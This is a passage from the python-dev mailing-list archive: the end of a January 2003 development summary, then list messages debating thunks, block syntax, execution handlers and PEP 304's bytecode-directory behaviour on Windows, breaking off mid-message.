http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/setup.py
.. _PyGTK: http://www.daa.com.au/~james/pygtk/
.. _HTMLParser:
http://www.python.org/dev/doc/devel/lib/module-HTMLParser.html
.. _xmlparse.c:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/expat/xmlparse.c
.. _last summary:
http://www.python.org/dev/summary/2003-01-01_2003-01-15.html
.. _socket: http://www.python.org/dev/doc/devel/lib/module-socket.html

=========================================
`Adding Japanese Codecs to the distro`__
=========================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032197.html

MA Lemburg brought up a patch on SourceForge by Hisao SUZUKI (I am
assuming the capitalization of the last name is a Japanese thing so I will
stick with it in the summary) to add "codecs for the Japanese encodings
EUC-JP, Shift_JIS and ISO-2022-JP" and donate the code to the `Python
Software Foundation`_.  MAL's reason for wanting to use these codecs over
the current ones most commonly used with Python (written by Tamito
KAJIYAMA whose codecs can be found at
http://www.asahi-net.or.jp/~rd6t-kjym/python/ ) was that Hisao's were
smaller and written in pure Python.

Martin v. Lwis thought it was fine to add the codecs but thought Tamito's
should be the defaults if any codecs were added to Python.  His reasoning
was that they have been in active development for a while and thus have
been independently verified, in a way, to be correct.  He also didn't like
the "absence of the cp932 encoding in Suzuki's codecs" since the
"suggestion to equate this to "mbcs" on Windows is not convincing".  He
also thought it would be best to add the C version only.  He also
suggested "that it might be more worthwhile to expose platform codecs,
which would give us all CJK codecs on a number of major platforms, with a
minimum increase in the size of the Python distribution, and with very
good performance".

In response to Martin's comments, MAL thought that the benefit of the
Python versions of the codecs was that they were easier to modify.  He
suggested that the C version then be made available to download as a
separate entity (which apparently has been suggested multiple times).  As
for the independent verification, Hisao built his based on Java's codecs
which MAL thought was pretty good verification that they should work.  MAL
agreed that exposing more platform codecs would be good.

Martin didn't go for the "easier editing" argument.  He noted that since
the table was autogenerated you would need to know the algorithm that made
the table in order to be able to edit it.

Hye-Shik Chang responded with the support of the C version since it allows
for much easier interprocess communication.  It also beat the Python
version when it came to memory consumption by a large margin.

Guido asked how Tamito would feel about adding these codecs, whether both
sets outputted the same, and whether Tamito's codecs would still be
preferred by people doing a lot of Japanese work.

Martin reponded that he didn't think they produced the same result and
that people would continue to use JapaneseCodecs (Tamito's codecs) as long
as Python didn't include the cp932 codec.

Barry Warsaw commented that Mailman used Tamito's codecs and no one has
ever complained.  He said he would love to see one of the codecs included
in Python.  Apparently their tend to be license issues with the various
Asian codecs.  The KorenCodecs_ (or KoCo) are licensed under LGPL, but
Hye-Shik Chang said he would "like to make an essence of KoreanCodecs in
PSF License if python needs it".

Atsuo Ishimoto voted for Tamito's codecs.  He said that the Japanese
community would continue to use them regardless of what went into Python.
And in regards to the question of maintaining the codecs, Atsuo said the
Japanese Python community would be willing to help Tamito with his but did
not expect that kind of support for Hisao's codecs (Hisao has volunteered
to maintain his codecs, though).

MAL pointed out that "Tamito's codecs have an installed size of 1790kB
while Hisao's codecs are around 81kB" and that was an issue.  Martin said
that it was only 690kB if you only counted the C version.  The issue of
size became a major point.  It was pointed out that Tamito's covered more
codecs and being in C meant it only needed to be loaded in memory once for
interprocess use.

Tamito chimed in finally and commented that he was busy and would not be
able to maintain the codecs until he graduated from graduate school.  MAL
suggested that he start maintaining it when he had the time and Tamito
agreed.

I am not sure where the situation stands as of this moment.

.. _PSF:
.. _Python Software Foundation: http://www.python.org/psf/
.. _KorenCodecs: http://sf.net/projects/koco

==========================================
`make install failing with current cvs`__
==========================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032213.html

Jack Jansen was having issues with ``make install`` because he had various
packages in site-python that had inconsistent tab usage and thus was
raising a TabError during the ``compileall()`` step.  Jack asked if
site-packages could either be skipped by this step or at least not lead to
the abortion of the install.  All of this was from a change in
``compileall()`` that caused it to exit with a non-zero value if any
errors were raised (although it continued to run).  That feature was left
in; the Makefile was modified so as to skip site-packages.

===============================================
`logging package -- rename warn to warning?`__
===============================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032220.html

Guido said that he would "like to change 'warn' to 'warning' (and WARN to
WARNING)" in the logging_ package.  His argument that nothing else was a
verb in the package.

Vinay Sajip (who wrote the logging package) said he was fine with the
change, but warned it would break existing code that already used the
package.  He suggested putting both names in with a warning that ``warn``
was deprecated.  This was shot down since a new package does not need to
start with anything deprecated.

Then the discussion of whether to ditch fatal/FATAL since they are
synonyms for crictical/CRITICAL came up.  Guido said the reverse should
happen; keep FATAL and ditch CRITICAL (for the rest of this summary I will
only refer to the capitalized version to keep things simple).  Some
opposition came up, holding the view that CRITICAL was closer to the
truth.  Vinay suggested SEVERE as a replacement.  Guido said it didn't
"tickle" his "fancy like fatal/FATAL does"; CRITICAL was okay if no agreed
upon replacement could be found.  A quick grepping of the package by me
shows that CRITICAL is staying.

.. _logging: http://www.python.org/dev/doc/devel/lib/module-logging.html

===============================
`sys.exit and PYTHONINSPECT`__
===============================
__ http://mail.python.org/pipermail/python-dev/2003-January/032217.html

Kevin Altis discovered that invoking the interpreter with the ``-i``
argument does not prevent the interpreter from exiting if SystemExit is
raised (``sys.exit()`` will raise the exception).  He thought it would be
good if ``-i`` would override even the SystemExit exception.  `Bug
#670311`_ was created for this, but no patch has been written yet (anyone
care to step up and do this?).

.. _bug #670311:
http://sourceforge.net/tracker/index.php?func=detail&aid=670311&group_id=5470&atid=105470

============================
`disable writing .py[co]`__
============================
__ http://mail.python.org/pipermail/python-dev/2003-January/032270.html

Splinter threads:
	- `Proto-PEP regarding writing bytecode files
<http://mail.python.org/pipermail/python-dev/2003-January/032342.html>`__

In the thread `Parallel pyc construction`_ (as covered in the last
summary), Paul Dubois brought up how he would like to be able to disable
the writing of .py[co] files.  Well, this led to a long discussion that
culminated into the creation of `PEP 304`_.

This PEP by Skip Montanaro lays out how to control .py[co] file creation.
To give you a quick summary of the PEP, it lays out the idea of a
directory of being able to specify where to have the compiled files
written to.  If it is empty, then file generation is suppressed.
Currently the PEP suggests using an environament variable (named
PYTHONBYTECODEBASE) to initially set it and having ``sys.bytecodebase`` be
settable to control the functionality during code execution.  There is a
possibility of a command-line argument to the interpreter, but that option
is not winning many votes.

This is a glossed-over summary of the PEP.  If you are truly interested in
this then read the PEP and make your opinion be heard.

.. _Parallel pyc construction:
http://www.python.org/dev/summary/2003-01-01_2003-01-15.html#parallel-pyc-construction
.. _PEP 304: http://www.python.org/peps/pep-0304.html

================================================
`Re: GadflyDA in core? Or as add-on-product?`__
================================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032295.html

The idea was proposed to add Gadfly_ to the stdlib.  Two issues came up
about doing this.  One was that it would require having to deal with
another license.  Aaron Watters (the original author of Gadfly) was
emailed to ask if he would be willing to donate the code to the `Python
Software Foundation`_, but he did not respond (at least to the list).

The other issue was the use of kjbuckets_.  Guido was -1 on letting it
into the stdlib because he had "heard it's some of .the hairiest C code
ever written".  But Richard Jones said that Anthony Baxter is working on
removing the dependency on kjbuckets by rewriting the code using the Sets_
module introduced in Python 2.3.

As of this writing the decision as to whether to add Gadfly has been put
on hold until both of the above issues are resolved.

.. _Gadfly: http://gadfly.sourceforge.net/
.. _Sets: http://www.python.org/dev/doc/devel/lib/module-sets.html
.. _kjbuckets: http://starship.python.net/crew/aaron_watters/kjbuckets/

====================================
`Mixed-type datetime comparisons`__
====================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032414.html

Tim Peters sent an email to the list saying that he had made changes to
the datetime_ type so that it returned NotImplemented if the thing being
compared to had a ``timetuple()`` method so as to allow other
implementations to provide the functionality.

He also mentioned how you still can't compare datetimes and timedeltas.
This caused MA Lemburg to ask why not.  Tim said it just wouldn't make any
sense since they don't even measure time in the same units.  Tim ended on
saying that if MAL and Fredrik Lundh could come up with a good proposal
Tim would get it in, otherwise his time on datetime for Python 2.3 is
spent.

.. _datetime: http://www.python.org/dev/doc/devel/lib/module-datetime.html

==============
`Itertools`__
==============
__ http://mail.python.org/pipermail/python-dev/2003-January/032508.html

Raymond Hettinger checked in his itertools_ module into the sandbox for
testing.  He is asking for feedback on the module.

.. _itertools:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/itertoolsmodule.c

========================================
`Idea for avoiding exception masking`__
========================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032492.html

Raymond Hettinger discovered that "trapping an exception (a TypeError for
a mutable argument passed to a dictionary) resulted in masking other
errors that should have been passed through (potential TypeErrors in the
called iterator for example)".  Raymond proposed a new function named
PyErr_FormatAppend that would append the extra info.  Ka-Ping Yee
suggested adding the original exception to the new exception as an
attribute.  This was generally viewed as a good solution.  Questions of
how to store traceback information and how to handle this in the C code
has yet to be resolved.

=============================
`Extended Function syntax`__
=============================
__ http://mail.python.org/pipermail/python-dev/2003-January/032498.html

Splinter threads:
	- `Property syntax
<http://mail.python.org/pipermail/python-dev/2003-January/032591.html>`__
	- `thunks (for all the fish)
<http://mail.python.org/pipermail/python-dev/2003-January/032616.html>`__
	- `question???
<http://mail.python.org/pipermail/python-dev/2003-January/032663.html>`__
	- `Syntax-wise
<http://mail.python.org/pipermail/python-dev/2003-January/032669.html>`__
	- `How about a meta-reserved word?
<http://mail.python.org/pipermail/python-dev/2003-January/032684.html>`__

This threads wins the award for longest thread summarized here (and
possibly ever for a summary written by me).  Fair warning if you decide to
read the actual thread.

Also, none of this applies to Python 2.3; Guido promised syntactic
stability for this next release and you will get it.

Guido remembered that a proposal for extending the syntax of Python to
make using things such as ``property()``, ``staticmethod()``, etc. much
easier and wanted a reminder on where more info was.  The suggeted syntax
was::

    def name(arg, ...) [expr1, expr2, expr3, ...]:
        ...body...

where ``expr, ...`` would be evaluated like ``name =
expr3(expr2(expr1(name)))``.  Michael Hudson wrote up a patch which can be
found at
http://starship.python.net/crew/mwh/hacks/meth-syntax-sugar-3.diff with
the original python-dev thread on this at
http://mail.python.org/pipermail/python-dev/2002-February/020005.html .

All of this led to an explosion of other syntax suggestions.  One that
garnered some support was to make something like::

    class Foo:
        def Foo.bar(self, a, b, c):
            ...body...

work by basically making a def statement work like
``Foo.bar=new.function(CODE, GLOBS, 'Foo.bar')``.  If properties were made
assignable then you could just use this syntax to assign to a property you
instantiated.  People also came up with metaclass implementations of some
things (which Guido didn't like because they "all abuse the class keyword
for something that's definitely not a class").

An idea that Walter Drwald suggested was::

 class Foo(object):
    property myprop:
        """Doc string for myprop."""
        def __get__(self):
            ...body...
        def __set__(self, arg):
            ...body...
        def __delete__(self):
            ...body...

Guido's objection was that it turned property into a keyword.  But he
admitted that a new keyword would be okay if an elegant solution came
about.

Guido then made the suggestion of::

 foo = property:
     ...

This also garnered some support.  The problem with this is that it would
require the parser to be able to go from '"expression parsing mode" to
"block parsing mode"' in a new way.  But Guido seemed to solve it.  It
would also allow the generalization of this to something along the lines
of::

 v = e:  # Possibility for adding args -- v = e:(x, y):
    S  # Creates a thunk

which would be equivalent to::

 v = e(T)  # T is a thunk created from S

None of this is meant to replace the suggested [expr, ...] syntax that
started this whole thread.

Another syntactic suggestion was::

 def foo as property:
     def __get__(self):
         ...
     def __set__(self, x):
         ...

Which seemed to grab a lot of people's fancies.  This would allow for "...
as class", "... as generator", etc.

But the problem with all of these proposals is how to deal with
namespaces.  Should, for instance, the thunks Guido suggested have their
own namespace or use the one of their parent?  Should their be only one
type of thunk or multiple types with different scoping rules based on the
situation?  The namespace issue (especially for thunks) is still playing
out.

===========================
`Capabilities in Python`__
===========================
__ http://mail.python.org/pipermail/python-dev/2003-January/032672.html

This thread actually came out of the whole property/thunk thing summarized
directly above but was so tangential that I thought it deserved its own
summary.

Ben Laurie had apparently suggested that capabilities be added to Python.
Jeremy Hylton gave a pretty good description of a capability as "a ticket.
The ticket is good for some event and possession of the ticket is
sufficient to attend the event"; limit abilities of objects based on what
capabilities you possess.  The problem is that Python's introspection lets
you see everything and thus you can get around restrictions; you can get
into the event by sneaking out back and crawling under the fence all
without having a ticket.  Jeremy mentioned Zope's proxy which fully wraps
an object and forces all interaction through the proxy.

Then Ka-Ping Yee stepped up to discuss the topic.  He made the point that
"creating a capability is equivalent to creating an object -- which you
can only do if you hold the constructor".  Ping said that "To build a
capability system, all you need to do is to constrain the transfer of
object references such that they can only be transmitted along other
object references.  That's all."  In order to pull this off you would need
to restrict access to only the declared interface of an object and have
"no global namespace of modules".  In other words have something like a
private declaration for things and get rid of ``sys.modules``.  Ping
suggested coming up with a "secure-mode" Python where these restrictions
would be turned on.  Neil Schemenauer liked this idea.



From guido@python.org  Sun Feb  2 02:24:50 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 21:24:50 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sat, 01 Feb 2003 14:48:46 PST."
 <20030201224846.261712C61@bespin.org>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <20030201224846.261712C61@bespin.org>
Message-ID: <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net>

> If I may attempt a summary, given all the use cases that have been
> expressed in this thread, we could have a need for constructions
> whose associated code block is either (1) run immediately or (2)
> passed unexecuted to some constructor; and whose variables are (a)
> in their own namespace or (b) in the parent namespace.

But a mechanism that only allows (2) can trivially be used to provide
(1) as well -- the function to which the thunk is passed simply calls
the thunk.

The real issue is about (a) vs. (b).  I think that it is technically
possible to make the function control this as well, but it may not
execute as fast (unless you compile two versions of the bytecode, or
something similarly wacky).  It is also possible to make the function
control what to do about return, break, and continue (using
pseudo-exceptions), but it definitely feels like a stretch.

> Currently we have 'class' (1a) and, althought currently a bit
> limited in post-processing facilities, 'def' (2a).  I've shown
> contrived examples of (2b) using 'for'.

Actually, I don't think 'for' can really be considered a case of of
(2).  A true version of (2) allows you to save the thunk off in a
global somewhere and call it at a later time.  With 'for' your only
choice is to decide whether to execute it immediately or not; and you
don't get to sniff the contents of the block before executing it.  So
I don't think your contrived examples are worth much.

> The question is whether we want something generic enough for all
> four possible combinations or not, and whether they should still be
> statically distinguishable or not.

That's a good summary.

> If they should not, then the 'thunk' approach is fine, given a way
> to execute a thunk in its original namespace.  This is a well-known
> approach in block-oriented languages, but I agree with Samuele that
> this can be much confusing and for some reason I dislike this
> programming style.  Maybe the reason is that Python has a
> pseudo-declarative look & feel that is incompatible with direct
> manipulation of control flow.  Such a feature would make the life
> impossible for source-processing utilities like code checkers.

I don't think so.  Code checkers make many assumptions that a compiler
isn't allowed to make, and it seems totally reasonable to build
knowledge about popular thunk consumers into the checker.  Just like
GCC has an extension to typecheck printf().

> But if we want the four cases to be statically distinguisable, then
> we might be bound to add various unrelated syntax extensions at
> several places, all of which might come with an associated original
> use case that makes the syntax look like a hack for radically
> different uses (like Just's nice metaclass-based definition of
> properties).

It doesn't have to be that bad.  If, as I argue above, we really only
need to distinguish two cases, we could probably come up with two
fairly neutral syntaxes that cover both ends of the spectrum.

A Pythonic way would be to introduce each with a new keyword:

  # for control flow; <block> is part of surrounding scope
  foo <expr>:
      <block>

  # for definitions; <block> defines a new scope
  # maybe <block> needs formal parameters too
  bar <expr> = <expr>:
      <block>

(I'm not at all sure that only one of these needs the "<expr> ="
part.)

For 'foo', 'do' seems a reasonable keyword; at least,

  do synchronized(mylock):
     BLOCK

looks reasonable enough.  I'm not so comfortable with the leading
contender for 'bar', which seems to be 'def'.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From andrew@indranet.co.nz  Sun Feb  2 02:47:02 2003
From: andrew@indranet.co.nz (Andrew McGregor)
Date: Sun, 02 Feb 2003 15:47:02 +1300
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <4218270000.1044136589@localhost.localdomain>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <4218270000.1044136589@localhost.localdomain>
Message-ID: <82704.1044154022@localhost.localdomain>

--==========1714979620==========
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline



--On Sunday, February 02, 2003 10:56:29 +1300 Andrew McGregor=20
<andrew@indranet.co.nz> wrote:

> Then:
>
> defmacro property(name, docstring, @get, @set, @delete):
>     def getter interpolate(get.arglist):
>         interpolate(get.block)
>     def setter interpolate(set.arglist):
>         interpolate(set.block)
>     def deleter interpolate(delete.arglist):
>         interpolate(delete.block)
>     return:
>         name =3D property(docstring, getter, setter, deleter)
>
> class Circle(object):
>    property circumference, """Circumference of the circle""":
>        get (self):
>            return self.radius*6.283
>        set (self, value):
>            self.radius =3D value/6.283
>        delete (self):
>            del self.radius
>
> would do the obvious thing using block keyword arguments (I can't think
> how to express the anonymous scope implied here in regular Python; the
> intention is that getter and friends are defined in the local namespace
> of the macro invocation).
>
> Of course the proposed syntax is hypothetical, but I think it's quite
> clean.

Hmmm, maybe that should have been:

defmacro property(name, docstring, @block):
    block()
    return:
        name =3D property(docstring, get, set, delete)

class Circle(object):
   property(circumference, """Circumference of the circle"""):
       def get(self):
           return self.radius*6.283
       def set(self, value):
           self.radius =3D value/6.283
       def delete(self):
           del self.radius

I still think block keyword arguments would be nice, but this can be done=20
without them.

Andrew
--==========1714979620==========
Content-Type: application/pgp-signature
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+PIamHamGxvX4LwIRAjRXAKDOTgODINE1C6mxdLRb5qAeJf1w1ACg5AHZ
OxiObNlVxp8SXUnOIb35AOE=
=mjDP
-----END PGP SIGNATURE-----

--==========1714979620==========--



From pyth@devel.trillke.net  Sun Feb  2 04:37:28 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Sun, 2 Feb 2003 05:37:28 +0100
Subject: [Python-Dev] Re: Extended Function syntax
In-Reply-To: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sat, Feb 01, 2003 at 03:08:55PM -0500
References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030202053728.R10804@prim.han.de>

Guido van Rossum wrote:
> I received this from Glyph.  He brings up some interesting use cases
> for thunks.  I guess it could be used for "on" style event handler
> declarations.  Hmm, you could even craft your own case statement with
> his suggestion:
> 
>   switch(expr):
>     case(val1):
>       block1
>     case(val2):
>       block2
>     default:
>       block3
> 
> This actually makes me worry -- I didn't plan thunks to be the answer
> to all problems.  A new idea that could cause a paradigm landslide is
> not necessarily right.

That's a very interesting point.  Now i wonder if the following
implementation report falls (partly) into this category or goes
otherwise off-road.  Please bear with me if it does.  

Recently, i implemented an experimental "execution protocol" for 
Python-2.2.2.  It centers around "indented code blocks" and
their execution.

First i started out to (try to) put indented blocks into a code 
object and allowing to denote before-hand an object that gets 
and executes it. 

(Regarding syntax I will only mention that much for now:  
i experimentally tried out quite a number from the syntactic 
ideas that were brought up here recently). 

Soon i felt that trying to turn an indented block into a code 
object goes against the grain of the CPython implementation. 

Even worse, I couldn't seriously do much with a code object 
apart from executing (or skipping) it and dealing with exceptions.  
It's especially hard to construct a nice enough namespace/scope 
interaction between a code object and its exec-handler.  
Also 'execing' code often destroys optimization options.  
All not so nice.

So i went on and tried to settle on what i really wanted:

a) to allow an object to hook into certain "execution events"  
   and especially to encapsulate error-handling which today 
   is often "inlined": the to-be-handled code block 
   intermingles with the enclosing try-except construct.  

b) to have easy ways of "exchanging parameters" between
   a code block and its execution handler. 
   Without such interaction the handler and its code block
   would be completly orthogonal to each other (which is 
   puristic but doesn't give you much in practise). 

To satisfy a) i implemented the following execution hooks 
(which all return None):

    class some_execution_handler:

        def __enter__(self):
            """called before my indented block is executed """

        def __except__(self, type, value, traceback):
            """called if an exception occurs during execution"""

        def __leave__(self):
            """called when execution is finished.
    
               this is called if there was no exception AND
               if there was an exception but no __except__ hook
            """

Now how to do the b) "exchanging parameters" part?  After some 
experiments I choose to do it *oneway* resp. only in the direction
from code block to execution handler.  The rationale is that 
the execution handler should only *add* behaviour but not 
modify "foreign" local namespaces.  I think this is a 
crucial point. 

This code-to-handler communication is made explicit by
specifying a series of "name=expr" bindings which 
(as usual) have effect in local or global scope but *additionally* 
are set as attributes on the execution handler instance. 

Thus for timely finalization you now only have to

    1. specify objects to be finalized, e.g.:   f1=open('...')

    2. name a handler that implements __leave__ like this:
    
        def __leave__(self):
            for f in self.__dict__.values():
                f.close()

For 'acquire/release' it's even simpler:

    class autolock(threading.RLock):
        __enter__ = threading.RLock.__acquire__
        __leave__ = threading.RLock.__release__

This worked nicely but soon I also wanted a way
to pass *anonymous* values towards an execution
handler.  I went the Quixotish way and added
this fourth and last hook to the execution handler:

    def __catch__(self, arg):
        """catches a dropped value ala Quixote.

           "dropped" means that an expression's result 
           of the code block would otherwise be discarded.
        """

To summarize, the execution protocol now has three semantic
aspects:

    - execution hooks (enter, leave, except)
    - local name bindings set as instance attributes 
    - drop-catch pattern for anonymous object flow 
      from code block to handler 

Now let's assume that i realized this with a XML-like syntax 
(which i actually did but don't see as central), then
the above requirements roughly map to

   '<' expr (NAME '=' expr)* '>' suite

The evaluated 'expr' is the execution handler and 'suite'
is the code block.  It's hopefully evident now how
the following example usages work:

    <autoclose() f1=open('/etc/passwd')>
        data = f1.read()
    # here f1 will be closed no matter what

    def some_class_method(self, ...):
        ...
        <self.lock1>
            # in critical part here


    <debug> u"hello world"   # debug object catches dropped object

    <async_remote>          # handles the remote call including errors
        remote.call(...)    

    <shell> "ls -la"        
    if shell.errno:
        ...

I could imagine that you find this mixture of XML syntax
and python horrible.  FWIW i found that this "markup" in
a way resembles the notion of 'adding characteristics and meaning' 
to a code block much like 'html' tags do for text.  

However, it's certainly better to focus on semantic ideas 
and problems first before discussing syntactic details.  

In the hope of not just having wasted your time,

    holger


From tismer@tismer.com  Sun Feb  2 04:52:18 2003
From: tismer@tismer.com (Christian Tismer)
Date: Sun, 02 Feb 2003 05:52:18 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <20030201224846.261712C61@bespin.org> <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E3CA402.1020805@tismer.com>

Ahhh.

Sorry to say that.
I'd like to contribute, but python-dev
is hitting my limits completely.
This thread is absolutely incomprehensible.
Message frequency is unbearable.
Relationship indentation hits by browser's capabilities.
How can I follow this while working for some bread.

Poor guy who has to write the summary.

sigh - chris



From tismer@tismer.com  Sun Feb  2 05:35:04 2003
From: tismer@tismer.com (Christian Tismer)
Date: Sun, 02 Feb 2003 06:35:04 +0100
Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31
In-Reply-To: <Pine.SOL.4.53.0302011503540.2313@death.OCF.Berkeley.EDU>
References: <Pine.SOL.4.53.0302011503540.2313@death.OCF.Berkeley.EDU>
Message-ID: <3E3CAE08.2080600@tismer.com>

Brett Cannon wrote:
> Well, my brain didn't pop from the extended syntax thread, so I am happy.
> =)  Why did you guys have to have such a major discussion at the end of
> the month (and have an explosion of big emails right at the end no less!)?
> And of course I decide to try to introduce something new in this summary
> that upped my workload.  Lucky me.  =)  OK, enough complaining (oh wait, I
> don't get paid for this; I guess I can complain  =).

Please, complain more. If you were employed, you
should ask for compensation for pain and suffering.

I have not followed this thread (happy me + unlucky me.)
And I don't intend to write a summary (lucky me.)

After trying to follow it partially and failing
completely, I'm asking if there is an alternate
way of discussing such matters?
There is no way of reading this thread for me.
I cannot get it into any shape, since I haven't
followed it online. This will be a similar
problem for anybody who tries to read it after
the fact, like me (with similar incapabilities).

worst-python-dev-experience-I-ever-had -- chris



From james.kew@btinternet.com  Sat Feb  1 12:52:18 2003
From: james.kew@btinternet.com (James Kew)
Date: Sat, 1 Feb 2003 12:52:18 -0000
Subject: [Python-Dev] Re: New version of PEP 304
References: <15930.46189.483674.745097@montanaro.dyndns.org>
Message-ID: <b1gfql$li5$1@main.gmane.org>

Skip Montanaro wrote:
> I just checked in a new version of PEP 304.  It should be available at
>
>     http://www.python.org/peps/pep-0304.html
>
>> Feedback welcome. Windows C programmers even more welcome. ;-)

Cosmetic: there's a System Message: WARNING on the fourth bullet point of
"Proposal".

Serious: I'm not sure this covers all the bases on Windows, which has
multiple filesystem roots. Specifically, it doesn't preserve the current
behaviour if PYTHONBYTECODEBASE is not set and if the "startup drive" and
the drive on which a Python source file is located is not the same.

> If not defined, Python bytecode is generated in exactly the same way as is
currently done.
> sys.bytecodebase is set to the > root directory (either / on Unix or the
root directory of the
> startup drive -- typically C:\ -- on Windows).

Need to define "startup drive" precisely -- I assume something "the drive
from which the system is booted" or "the drive on which the operating system
is installed" (are these always the same?) but I don't know what the correct
terminology would be. "Startup drive" could be misinterpreted as "the drive
on which Python is installed", given that in the rest of the PEP "startup"
refers to Python or program startup.

OK: so if I don't set PYTHONBYTECODEBASE, sys.bytecodebase is set to C:\.

Now, what happens if I import a module which happens to be in, oh, for
example, D:\Roundup\MyTracker\config.py and which does not currently have
compiled bytecode alongside it?

> When the bytecode base is not None, a new bytecode file is written to the
appropriate augmented directory

BANG. The compiled bytecode is written not to
D:\Roundup\MyTracker\config.pyc as I would expect it to: instead, it's
magically and silently written to the "augmented" directory
C:\D\Roundup\MyTracker\config.pyc -- as a side-effect, unexpectedly creating
an new directory hierarchy on C:.

This needs to be fixed so that, on Windows, leaving PYTHONBYTECODEBASE
undefined yields the current behaviour as default -- as is already the case
when this PEP is implemented under Unix.

A suggestion: define a sys.bytecodebase of '/' to mean "default behaviour"
on Windows. This would normally be interpreted as "root of the current
drive" -- it's a little bit of a stretch to redefine it in this case as
"root of the source file's drive", but not unreasonable.

Taking this further, one could define that, on Windows, a sys.bytecodebase
containing a drive specifier specifies a single, systemwide bytecode
directory, with implicit directory augmentation; and that a sys.bytecodebase
that does not contain a drive specifier specifies a per-drive bytecode
directory. Thus:

sys.bytecodebase = "C:\Bytecode"

C:\MyStuff\script.py --> C:\Bytecode\C\MyStuff\script.pyc
D:\MyOtherStuff\demo.py --> C:\Bytecode\D\MyOtherStuff\demo.pyc

sys.bytecodebase = "\Bytecode"

C:\MyStuff\script.py --> C:\Bytecode\MyStuff\script.pyc
D:\MyOtherStuff\demo.py --> D:\Bytecode\MyOtherStuff\demo.pyc

I'm not sure this is entirely *useful* -- YAGNI? -- but it does then provide
a good basis for the default case:

sys.bytecodebase = "\"

C:\MyStuff\script.py --> C:\MyStuff\script.pyc
D:\MyOtherStuff\demo.py --> D:\MyOtherStuff\demo.pyc

Note also that this would imply a slight tweaking to "during program
startup, the value of the PYTHONBYTECODEBASE environment variable is made
absolute" to ensure that a drive specifier is not added to
PYTHONBYTECODEBASE if it does not already have one.

--
James Kew
james.kew@btinternet.com





From rnd@onego.ru  Sun Feb  2 09:29:35 2003
From: rnd@onego.ru (Roman Suzi)
Date: Sun, 2 Feb 2003 12:29:35 +0300 (MSK)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0302021135450.12892-100000@rnd.onego.ru>

code_thunk = ```
if Guido.let_it_fly():
  print "This is my syntax for inline code block"
```


Now I understood the summary of this thread for myself. It's all about making
extended lambdas in Python so Python could manipulate code as it does with
other objects! Now I am convinced this is great idea and quite Pythonic too.

Also if I understood correctly, the main problem is namespace interaction.
My thought here is that it shouldnot be different to lambdas:
environment need to be visible in the inside.

Another problem is with exceptions. But is it really a problem?
How different it is when we exec something?

So, the problem (IMHO) has this subproblems:

1. How to express an arbitrary codeblock object anywhere in the expression?
2. What protocol to use to communicate with this codeblock?

Let's see what we already have in Python:

I. case: user-defined function

1. def-statement
2. arguments and one value after return statement.
   Environment of place of definition available.

II. case: lambda function

1. lambda-operator
2. arguments and a single return value. Environment available.

III. case: compiled code block

1. any string and then compile() or directly exec(), etc
2. globals(), locals()

Now:

IV. case: inline code block
  aka extended lambda ;-)

1. special (probably ':'-powered) syntax, allowing to insert code
   snippet into any place in the expression
2. this is a big question. I propose to use some functions around
   codeblock which will add needed namespaces, exception handlers
   and other things needed for code snippet to work.

BTW, it's my understanding that is such construct (inline code block) will be
added to Python, then almost we will be able to model ANY Python control-flow
operator with it! Isn't it really cool?

And of course inline code snippet object will be extensible objects, allowing
for any kinds of modifications, adding aspects (for those who uses aspect
programming), pre/post conditions, currying, locks, security control, etc,
etc. It will be a new era of Python development. It will nearer Python
to LISP, where code and data are same.

I am sure there is no problem defining 

+, *, % operations for them (obvious, isn't it?):
+ - make a sequence
* - make a for _ in range(N) cycle,
% - provide parameters (with a dict or whatever), locals() for example.

(Am i dreaming?)

As for optimisations, drop them, Guido, for now: inline code blocks are good
target for JIT-optimisations.

Now syntax.
('lambda' is an example keyword, just for illustration!!!)

For loop:


   codesnippet = FOR_LOOP_FUNCTION(lst, 
     lambda i:
       do whatever with index i
       . . ..  .
        ....
     :       # for closing block explicitely
   )


Function:
   
